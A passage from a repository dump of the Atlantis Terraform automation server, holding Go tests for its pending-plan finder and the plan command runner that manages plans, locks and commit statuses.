    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// If the dir doesn't exist should get an error.\nfunc TestPendingPlanFinder_FindNoDir(t *testing.T) {\n\tpf := &events.DefaultPendingPlanFinder{}\n\t_, err := pf.Find(\"/doesntexist\")\n\tErrEquals(t, \"open /doesntexist: no such file or directory\", err)\n}\n\n// If one of the dir in PR dir is not git dir then it should throw an error.\nfunc TestPendingPlanFinder_FindIncludingNotGitDir(t *testing.T) {\n\tgitDirName := \".default\"\n\tnotGitDirName := \".terragrunt-cache\"\n\ttmpDir := DirStructure(t, map[string]any{\n\t\tgitDirName: map[string]any{\n\t\t\t\"default.tfplan\": nil,\n\t\t},\n\t\tnotGitDirName: map[string]any{\n\t\t\t\"some_file.tfplan\": nil,\n\t\t},\n\t})\n\t// Initialize git in 'default' directory\n\tgitDir := filepath.Join(tmpDir, gitDirName)\n\trunCmd(t, gitDir, \"git\", \"init\")\n\tpf := &events.DefaultPendingPlanFinder{}\n\n\t_, err := pf.Find(tmpDir)\n\tErrEquals(t, fmt.Sprintf(\"running 'git ls-files . --others' in '%s/%s' directory: fatal: \"+\n\t\t\"not a git repository (or any of the parent directories): .git\\n: exit status 128\", tmpDir, notGitDirName), err)\n}\n\n// Test different directory structures.\nfunc TestPendingPlanFinder_Find(t *testing.T) {\n\tcases := []struct {\n\t\tdescription string\n\t\tfiles       map[string]any\n\t\texpPlans    []events.PendingPlan\n\t}{\n\t\t{\n\t\t\t\"no plans\",\n\t\t\tnil,\n\t\t\tnil,\n\t\t},\n\t\t{\n\t\t\t\"root directory\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"root dir project plan\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"projectname-default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:     \"???/default\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"root dir project plan with slashes\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"project::name-default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:     \"???/default\",\n\t\t\t\t\tRepoRelDir:  \".\",\n\t\t\t\t\tWorkspace:   \"default\",\n\t\t\t\t\tProjectName: \"project/name\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"multiple directories in single workspace\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"dir1\": map[string]any{\n\t\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t\t},\n\t\t\t\t\t\"dir2\": map[string]any{\n\t\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \"dir1\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \"dir2\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"multiple directories nested within each other\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"dir1\": map[string]any{\n\t\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t\t},\n\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \"dir1\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"multiple workspaces\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t\t\"staging\": map[string]any{\n\t\t\t\t\t\"staging.tfplan\": nil,\n\t\t\t\t},\n\t\t\t\t\"production\": map[string]any{\n\t\t\t\t\t\"production.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/production\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"production\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/staging\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\".terragrunt-cache\",\n\t\t\tmap[string]any{\n\t\t\t\t\"default\": map[string]any{\n\t\t\t\t\t\".terragrunt-cache\": map[string]any{\n\t\t\t\t\t\t\"N6lY9xk7PivbOAzdsjDL6VUFVYk\": map[string]any{\n\t\t\t\t\t\t\t\"K4xpUZI6HgUF-ip6E1eib4L8mwQ\": map[string]any{\n\t\t\t\t\t\t\t\t\"app\": map[string]any{\n\t\t\t\t\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t\"default.tfplan\": nil,\n\t\t\t\t},\n\t\t\t},\n\t\t\t[]events.PendingPlan{\n\t\t\t\t{\n\t\t\t\t\tRepoDir:    \"???/default\",\n\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\tWorkspace:  \"default\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\n\tpf := &events.DefaultPendingPlanFinder{}\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\ttmpDir := DirStructure(t, c.files)\n\n\t\t\t// Create a git repo in each workspace directory.\n\t\t\tfor dirname, contents := range c.files {\n\t\t\t\t// If contents is nil then this isn't a directory.\n\t\t\t\tif contents != nil {\n\t\t\t\t\trunCmd(t, filepath.Join(tmpDir, dirname), \"git\", \"init\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tactPlans, err := pf.Find(tmpDir)\n\t\t\tOk(t, err)\n\n\t\t\t// Replace the actual dir with ??? to allow for comparison.\n\t\t\tvar actPlansComparable []events.PendingPlan\n\t\t\tfor _, p := range actPlans {\n\t\t\t\tp.RepoDir = strings.ReplaceAll(p.RepoDir, tmpDir, \"???\")\n\t\t\t\tactPlansComparable = append(actPlansComparable, p)\n\t\t\t}\n\t\t\tEquals(t, c.expPlans, actPlansComparable)\n\t\t})\n\t}\n}\n\n// If a planfile is checked in to git, we shouldn't use it.\nfunc TestPendingPlanFinder_FindPlanCheckedIn(t *testing.T) {\n\ttmpDir := DirStructure(t, map[string]any{\n\t\t\"default\": map[string]any{\n\t\t\t\"default.tfplan\": nil,\n\t\t},\n\t})\n\n\t// Add that file to git.\n\trepoDir := filepath.Join(tmpDir, \"default\")\n\trunCmd(t, repoDir, \"git\", \"init\")\n\trunCmd(t, repoDir, \"touch\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"add\", \".\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"initial commit\")\n\n\tpf := &events.DefaultPendingPlanFinder{}\n\tactPlans, err := pf.Find(tmpDir)\n\tOk(t, err)\n\tEquals(t, 0, len(actPlans))\n}\n\nfunc runCmdErrCode(t *testing.T, dir string, errCode int, name string, args ...string) string {\n\tt.Helper()\n\tcpCmd := exec.Command(name, args...)\n\tcpCmd.Dir = dir\n\tcpOut, err := cpCmd.CombinedOutput()\n\tcmd := strings.Join(append([]string{name}, args...), \" \")\n\tif err != nil {\n\t\tif eerr, ok := err.(*exec.ExitError); ok {\n\t\t\tAssert(t, errCode == eerr.ExitCode(), \"unexpected exit code: want %v, got %v, running %q: %s\", errCode, eerr.ExitCode(), cmd, cpCmd)\n\t\t\treturn string(cpOut)\n\t\t}\n\t}\n\tAssert(t, false, \"invalid exit code, running %q: %s\", cmd, cpOut)\n\treturn string(cpOut)\n}\n\n// Test that it deletes pending plans.\nfunc TestPendingPlanFinder_DeletePlans(t *testing.T) {\n\tfiles := map[string]any{\n\t\t\"default\": map[string]any{\n\t\t\t\"dir1\": map[string]any{\n\t\t\t\t\"default.tfplan\": nil,\n\t\t\t},\n\t\t\t\"dir2\": map[string]any{\n\t\t\t\t\"default.tfplan\": nil,\n\t\t\t},\n\t\t},\n\t}\n\ttmp := DirStructure(t, files)\n\n\t// Create a git repo in each workspace directory.\n\tfor dirname, contents := range files {\n\t\t// If contents is nil then this isn't a directory.\n\t\tif contents != nil {\n\t\t\trunCmd(t, filepath.Join(tmp, dirname), \"git\", \"init\")\n\t\t}\n\t}\n\n\tpf := &events.DefaultPendingPlanFinder{}\n\tOk(t, pf.DeletePlans(tmp))\n\n\t// First, check the files were deleted.\n\tfor _, plan := range []string{\n\t\t\"default/dir1/default.tfplan\",\n\t\t\"default/dir2/default.tfplan\",\n\t} {\n\t\tabsPath := filepath.Join(tmp, plan)\n\t\t_, err := os.Stat(absPath)\n\t\tErrContains(t, \"no such file or directory\", err)\n\t}\n\n\t// Double check by using Find().\n\tfoundPlans, err := pf.Find(tmp)\n\tOk(t, err)\n\tEquals(t, 0, len(foundPlans))\n}\n\nfunc runCmd(t *testing.T, dir string, name string, args ...string) string {\n\tt.Helper()\n\tcpCmd := exec.Command(name, args...)\n\tcpCmd.Dir = dir\n\tcpOut, err := cpCmd.CombinedOutput()\n\tAssert(t, err == nil, \"err running %q: %s\", strings.Join(append([]string{name}, args...), \" \"), cpOut)\n\treturn string(cpOut)\n}\n"
  },
  {
    "path": "server/events/plan_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\n// GenerateLockID creates a consistent lock ID for a project context.\n// This ensures the same format is used for both locking and unlocking operations.\nfunc GenerateLockID(projCtx command.ProjectContext) string {\n\t// Use models.NewProject to ensure consistent path cleaning\n\tproject := models.NewProject(projCtx.BaseRepo.FullName, projCtx.RepoRelDir, \"\")\n\treturn models.GenerateLockKey(project, projCtx.Workspace)\n}\n\nfunc NewPlanCommandRunner(\n\tsilenceVCSStatusNoPlans bool,\n\tsilenceVCSStatusNoProjects bool,\n\tvcsClient vcs.Client,\n\tpendingPlanFinder PendingPlanFinder,\n\tworkingDir WorkingDir,\n\tcommitStatusUpdater CommitStatusUpdater,\n\tprojectCommandBuilder ProjectPlanCommandBuilder,\n\tprojectCommandRunner ProjectPlanCommandRunner,\n\tcancellationTracker CancellationTracker,\n\tdbUpdater *DBUpdater,\n\tpullUpdater *PullUpdater,\n\tpolicyCheckCommandRunner *PolicyCheckCommandRunner,\n\tautoMerger *AutoMerger,\n\tparallelPoolSize int,\n\tSilenceNoProjects bool,\n\tpullStatusFetcher PullStatusFetcher,\n\tlockingLocker locking.Locker,\n\tdiscardApprovalOnPlan bool,\n\tpullReqStatusFetcher vcs.PullReqStatusFetcher,\n\tPendingApplyStatus bool,\n\n) *PlanCommandRunner {\n\treturn &PlanCommandRunner{\n\t\tsilenceVCSStatusNoPlans:    silenceVCSStatusNoPlans,\n\t\tsilenceVCSStatusNoProjects: silenceVCSStatusNoProjects,\n\t\tvcsClient:                  vcsClient,\n\t\tpendingPlanFinder:          pendingPlanFinder,\n\t\tworkingDir:                 workingDir,\n\t\tcommitStatusUpdater:        commitStatusUpdater,\n\t\tprjCmdBuilder:              projectCommandBuilder,\n\t\tprjCmdRunner:               projectCommandRunner,\n\t\tcancellationTracker:        cancellationTracker,\n\t\tdbUpdater:                  dbUpdater,\n\t\tpullUpdater:                pullUpdater,\n\t\tpolicyCheckCommandRunner:   policyCheckCommandRunner,\n\t\tautoMerger:                 autoMerger,\n\t\tparallelPoolSize:           parallelPoolSize,\n\t\tSilenceNoProjects:          SilenceNoProjects,\n\t\tpullStatusFetcher:          pullStatusFetcher,\n\t\tlockingLocker:              lockingLocker,\n\t\tDiscardApprovalOnPlan:      discardApprovalOnPlan,\n\t\tpullReqStatusFetcher:       pullReqStatusFetcher,\n\t\tPendingApplyStatus:         PendingApplyStatus,\n\t}\n}\n\ntype PlanCommandRunner struct {\n\tvcsClient vcs.Client\n\t// SilenceNoProjects is whether Atlantis should respond to PRs if no projects\n\t// are found\n\tSilenceNoProjects bool\n\t// SilenceVCSStatusNoPlans is whether autoplan should set commit status if no plans\n\t// are found\n\tsilenceVCSStatusNoPlans bool\n\t// SilenceVCSStatusNoPlans is whether any plan should set commit status if no projects\n\t// are found\n\tsilenceVCSStatusNoProjects bool\n\tcommitStatusUpdater        CommitStatusUpdater\n\tpendingPlanFinder          PendingPlanFinder\n\tworkingDir                 WorkingDir\n\tprjCmdBuilder              ProjectPlanCommandBuilder\n\tprjCmdRunner               ProjectPlanCommandRunner\n\tcancellationTracker        CancellationTracker\n\tdbUpdater                  *DBUpdater\n\tpullUpdater                *PullUpdater\n\tpolicyCheckCommandRunner   *PolicyCheckCommandRunner\n\tautoMerger                 *AutoMerger\n\tparallelPoolSize           int\n\tpullStatusFetcher          PullStatusFetcher\n\tlockingLocker              locking.Locker\n\t// DiscardApprovalOnPlan controls if all already existing approvals should be removed/dismissed before executing\n\t// a plan.\n\tDiscardApprovalOnPlan bool\n\tpullReqStatusFetcher  vcs.PullReqStatusFetcher\n\tSilencePRComments     []string\n\tPendingApplyStatus    bool\n}\n\nfunc (p *PlanCommandRunner) runAutoplan(ctx *command.Context) {\n\tbaseRepo := ctx.Pull.BaseRepo\n\tpull := ctx.Pull\n\n\tprojectCmds, err := p.prjCmdBuilder.BuildAutoplanCommands(ctx)\n\tif err != nil {\n\t\tif statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.FailedCommitStatus, command.Plan); statusErr != nil {\n\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", statusErr)\n\t\t}\n\t\tp.pullUpdater.updatePull(ctx, AutoplanCommand{}, command.Result{Error: err})\n\t\treturn\n\t}\n\n\tprojectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds)\n\n\tif len(projectCmds) == 0 {\n\t\tctx.Log.Info(\"determined there was no project to run plan in\")\n\t\tif !p.silenceVCSStatusNoPlans && !p.silenceVCSStatusNoProjects {\n\t\t\t// If there were no projects modified, we set successful commit statuses\n\t\t\t// with 0/0 projects planned/policy_checked/applied successfully because some users require\n\t\t\t// the Atlantis status to be passing for all pull requests.\n\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t}\n\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t}\n\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\t// When silence is enabled and no projects are found, don't set any status\n\t\t\tctx.Log.Debug(\"silence enabled and no projects found - not setting any VCS status\")\n\t\t}\n\t\treturn\n\t}\n\n\t// discard previous plans that might not be relevant anymore\n\tctx.Log.Debug(\"deleting previous plans and locks\")\n\tp.deletePlans(ctx)\n\t_, err = p.lockingLocker.UnlockByPull(baseRepo.FullName, pull.Num)\n\tif err != nil {\n\t\tctx.Log.Err(\"deleting locks: %s\", err)\n\t}\n\n\tresult := runProjectCmdsWithCancellationTracker(ctx, projectCmds, p.cancellationTracker, p.parallelPoolSize, p.isParallelEnabled(projectCmds), p.prjCmdRunner.Plan)\n\n\tif p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() {\n\t\tctx.Log.Info(\"deleting plans because there were errors and automerge requires all plans succeed\")\n\t\tp.deletePlans(ctx)\n\t\t_, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num)\n\t\tif err != nil {\n\t\t\tctx.Log.Err(\"deleting locks: %s\", err)\n\t\t}\n\t\tresult.PlansDeleted = true\n\t}\n\n\tp.pullUpdater.updatePull(ctx, AutoplanCommand{}, result)\n\n\tpullStatus, err := p.dbUpdater.updateDB(ctx, ctx.Pull, result.ProjectResults)\n\tif err != nil {\n\t\tctx.Log.Err(\"writing results: %s\", err)\n\t}\n\n\tp.updateCommitStatus(ctx, pullStatus, command.Plan)\n\tp.updateCommitStatus(ctx, pullStatus, command.Apply)\n\n\t// Check if there are any planned projects and if there are any errors or if plans are being deleted\n\tif len(policyCheckCmds) > 0 &&\n\t\t(!result.HasErrors() && !result.PlansDeleted) {\n\t\t// Run policy_check command\n\t\tctx.Log.Info(\"Running policy_checks for all plans\")\n\n\t\t// refresh ctx's view of pull status since we just wrote to it.\n\t\t// realistically each command should refresh this at the start,\n\t\t// however, policy checking is weird since it's called within the plan command itself\n\t\t// we need to better structure how this command works.\n\t\tctx.PullStatus = &pullStatus\n\n\t\tp.policyCheckCommandRunner.Run(ctx, policyCheckCmds)\n\t}\n}\n\nfunc (p *PlanCommandRunner) run(ctx *command.Context, cmd *CommentCommand) {\n\tvar err error\n\tbaseRepo := ctx.Pull.BaseRepo\n\tpull := ctx.Pull\n\n\tctx.PullRequestStatus, err = p.pullReqStatusFetcher.FetchPullStatus(ctx.Log, pull)\n\tif err != nil {\n\t\t// On error we continue the request with mergeable assumed false.\n\t\t// We want to continue because not all apply's will need this status,\n\t\t// only if they rely on the mergeability requirement.\n\t\t// All PullRequestStatus fields are set to false by default when error.\n\t\tctx.Log.Warn(\"unable to get pull request status: %s. Continuing with mergeable and approved assumed false\", err)\n\t}\n\n\tif p.DiscardApprovalOnPlan {\n\t\tif err = p.pullUpdater.VCSClient.DiscardReviews(ctx.Log, baseRepo, pull); err != nil {\n\t\t\tctx.Log.Err(\"failed to remove approvals: %s\", err)\n\t\t}\n\t}\n\n\tprojectCmds, err := p.prjCmdBuilder.BuildPlanCommands(ctx, cmd)\n\tif err != nil {\n\t\tif statusErr := p.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.Plan); statusErr != nil {\n\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", statusErr)\n\t\t}\n\t\tp.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err})\n\t\treturn\n\t}\n\n\tif len(projectCmds) == 0 && p.SilenceNoProjects {\n\t\tctx.Log.Info(\"determined there was no project to run plan in\")\n\t\tif !p.silenceVCSStatusNoProjects {\n\t\t\tif cmd.IsForSpecificProject() {\n\t\t\t\t// With a specific plan, just reset the status so it's not stuck in pending state\n\t\t\t\tpullStatus, err := p.pullStatusFetcher.GetPullStatus(pull)\n\t\t\t\tif err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to fetch pull status: %s\", err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif pullStatus == nil {\n\t\t\t\t\t// default to 0/0\n\t\t\t\t\tctx.Log.Debug(\"setting VCS status to 0/0 success as no previous state was found\")\n\t\t\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil {\n\t\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tctx.Log.Debug(\"resetting VCS status\")\n\t\t\t\tp.updateCommitStatus(ctx, *pullStatus, command.Plan)\n\t\t\t} else {\n\t\t\t\t// With a generic plan, we set successful commit statuses\n\t\t\t\t// with 0/0 projects planned successfully because some users require\n\t\t\t\t// the Atlantis status to be passing for all pull requests.\n\t\t\t\t// Does not apply to skipped runs for specific projects\n\t\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Plan, 0, 0); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t}\n\t\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t}\n\t\t\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.Apply, 0, 0); err != nil {\n\t\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\t// When silence is enabled and no projects are found, don't set any status\n\t\t\tctx.Log.Debug(\"silence enabled and no projects found - not setting any VCS status\")\n\t\t}\n\t\treturn\n\t}\n\n\tprojectCmds, policyCheckCmds := p.partitionProjectCmds(ctx, projectCmds)\n\n\t// if the plan is generic, new plans will be generated based on changes\n\t// discard previous plans that might not be relevant anymore\n\tif !cmd.IsForSpecificProject() {\n\t\tctx.Log.Debug(\"deleting previous plans and locks\")\n\t\tp.deletePlans(ctx)\n\t\t_, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num)\n\t\tif err != nil {\n\t\t\tctx.Log.Err(\"deleting locks: %s\", err)\n\t\t}\n\t}\n\n\tresult := runProjectCmdsWithCancellationTracker(ctx, projectCmds, p.cancellationTracker, p.parallelPoolSize, p.isParallelEnabled(projectCmds), p.prjCmdRunner.Plan)\n\tctx.CommandHasErrors = result.HasErrors()\n\n\tif p.autoMerger.automergeEnabled(projectCmds) && result.HasErrors() {\n\t\tctx.Log.Info(\"deleting plans because there were errors and automerge requires all plans succeed\")\n\t\tp.deletePlans(ctx)\n\t\t_, err := p.lockingLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num)\n\t\tif err != nil {\n\t\t\tctx.Log.Err(\"deleting locks: %s\", err)\n\t\t}\n\t\tresult.PlansDeleted = true\n\t}\n\n\tp.pullUpdater.updatePull(\n\t\tctx,\n\t\tcmd,\n\t\tresult)\n\n\tpullStatus, err := p.dbUpdater.updateDB(ctx, pull, result.ProjectResults)\n\tif err != nil {\n\t\tctx.Log.Err(\"writing results: %s\", err)\n\t\treturn\n\t}\n\n\tp.updateCommitStatus(ctx, pullStatus, command.Plan)\n\tp.updateCommitStatus(ctx, pullStatus, command.Apply)\n\n\t// Runs policy checks step after all plans are successful.\n\t// This step does not approve any policies that require approval.\n\tif len(result.ProjectResults) > 0 &&\n\t\t(!result.HasErrors() && !result.PlansDeleted) {\n\t\tctx.Log.Info(\"Running policy check for '%s'\", cmd.CommandName())\n\t\tp.policyCheckCommandRunner.Run(ctx, policyCheckCmds)\n\t} else if len(projectCmds) == 0 && !cmd.IsForSpecificProject() {\n\t\t// If there were no projects modified, we set successful commit statuses\n\t\t// with 0/0 projects planned/policy_checked/applied successfully because some users require\n\t\t// the Atlantis status to be passing for all pull requests.\n\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\tif err := p.commitStatusUpdater.UpdateCombinedCount(ctx.Log, baseRepo, pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t}\n\t}\n}\n\nfunc (p *PlanCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tif ctx.Trigger == command.AutoTrigger {\n\t\tp.runAutoplan(ctx)\n\t} else {\n\t\tp.run(ctx, cmd)\n\t}\n}\n\nfunc (p *PlanCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus, commandName command.Name) {\n\tvar numSuccess int\n\tvar numErrored int\n\tstatus := models.SuccessCommitStatus\n\n\tswitch commandName {\n\tcase command.Plan:\n\t\tnumErrored = pullStatus.StatusCount(models.ErroredPlanStatus)\n\t\t// We consider anything that isn't a plan error as a plan success.\n\t\t// For example, if there is an apply error, that means that at least a\n\t\t// plan was generated successfully.\n\t\tnumSuccess = len(pullStatus.Projects) - numErrored\n\n\t\tif numErrored > 0 {\n\t\t\tstatus = models.FailedCommitStatus\n\t\t}\n\tcase command.Apply:\n\t\tnumSuccess = pullStatus.StatusCount(models.AppliedPlanStatus) + pullStatus.StatusCount(models.PlannedNoChangesPlanStatus)\n\t\tnumErrored = pullStatus.StatusCount(models.ErroredApplyStatus)\n\n\t\tif numErrored > 0 {\n\t\t\tstatus = models.FailedCommitStatus\n\t\t} else if numSuccess < len(pullStatus.Projects) {\n\t\t\t// When there are planned changes that haven't been applied yet:\n\t\t\t// - GitLab: Set status to pending if PendingApplyStatus is enabled\n\t\t\t//           This prevents MR merging until all applies complete\n\t\t\t// - Other VCS: Leave status unchanged (existing behavior)\n\t\t\tif ctx.Pull.BaseRepo.VCSHost.Type == models.Gitlab && p.PendingApplyStatus {\n\t\t\t\tctx.Log.Debug(\"Pending Apply Status is set. Pipeline status will be marked as pending since there are changes to apply\")\n\t\t\t\tstatus = models.PendingCommitStatus\n\t\t\t} else {\n\t\t\t\tif p.PendingApplyStatus {\n\t\t\t\t\t// If a VCS uses this flag other than Gitlab, we log the warning to the user\n\t\t\t\t\tctx.Log.Warn(\"Flag --pending-apply-status is not yet supported by your VCS. Pipeline status will not be marked as pending\")\n\t\t\t\t}\n\t\t\t\t// Otherwise, status remains SuccessCommitStatus (no update needed)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tif err := p.commitStatusUpdater.UpdateCombinedCount(\n\t\tctx.Log,\n\t\tctx.Pull.BaseRepo,\n\t\tctx.Pull,\n\t\tstatus,\n\t\tcommandName,\n\t\tnumSuccess,\n\t\tlen(pullStatus.Projects),\n\t); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n}\n\n// deletePlans deletes all plans generated in this ctx.\nfunc (p *PlanCommandRunner) deletePlans(ctx *command.Context) {\n\tpullDir, err := p.workingDir.GetPullDir(ctx.Pull.BaseRepo, ctx.Pull)\n\tif err != nil {\n\t\tctx.Log.Err(\"getting pull dir: %s\", err)\n\t}\n\tif err := p.pendingPlanFinder.DeletePlans(pullDir); err != nil {\n\t\tctx.Log.Err(\"deleting pending plans: %s\", err)\n\t}\n}\n\nfunc (p *PlanCommandRunner) partitionProjectCmds(\n\tctx *command.Context,\n\tcmds []command.ProjectContext,\n) (\n\tprojectCmds []command.ProjectContext,\n\tpolicyCheckCmds []command.ProjectContext,\n) {\n\tfor _, cmd := range cmds {\n\t\tswitch cmd.CommandName {\n\t\tcase command.Plan:\n\t\t\tprojectCmds = append(projectCmds, cmd)\n\t\tcase command.PolicyCheck:\n\t\t\tpolicyCheckCmds = append(policyCheckCmds, cmd)\n\t\tdefault:\n\t\t\tctx.Log.Err(\"%s is not supported\", cmd.CommandName)\n\t\t}\n\t}\n\treturn\n}\n\nfunc (p *PlanCommandRunner) isParallelEnabled(projectCmds []command.ProjectContext) bool {\n\treturn len(projectCmds) > 0 && projectCmds[0].ParallelPlanEnabled\n}\n"
  },
  {
    "path": "server/events/plan_command_runner_test.go",
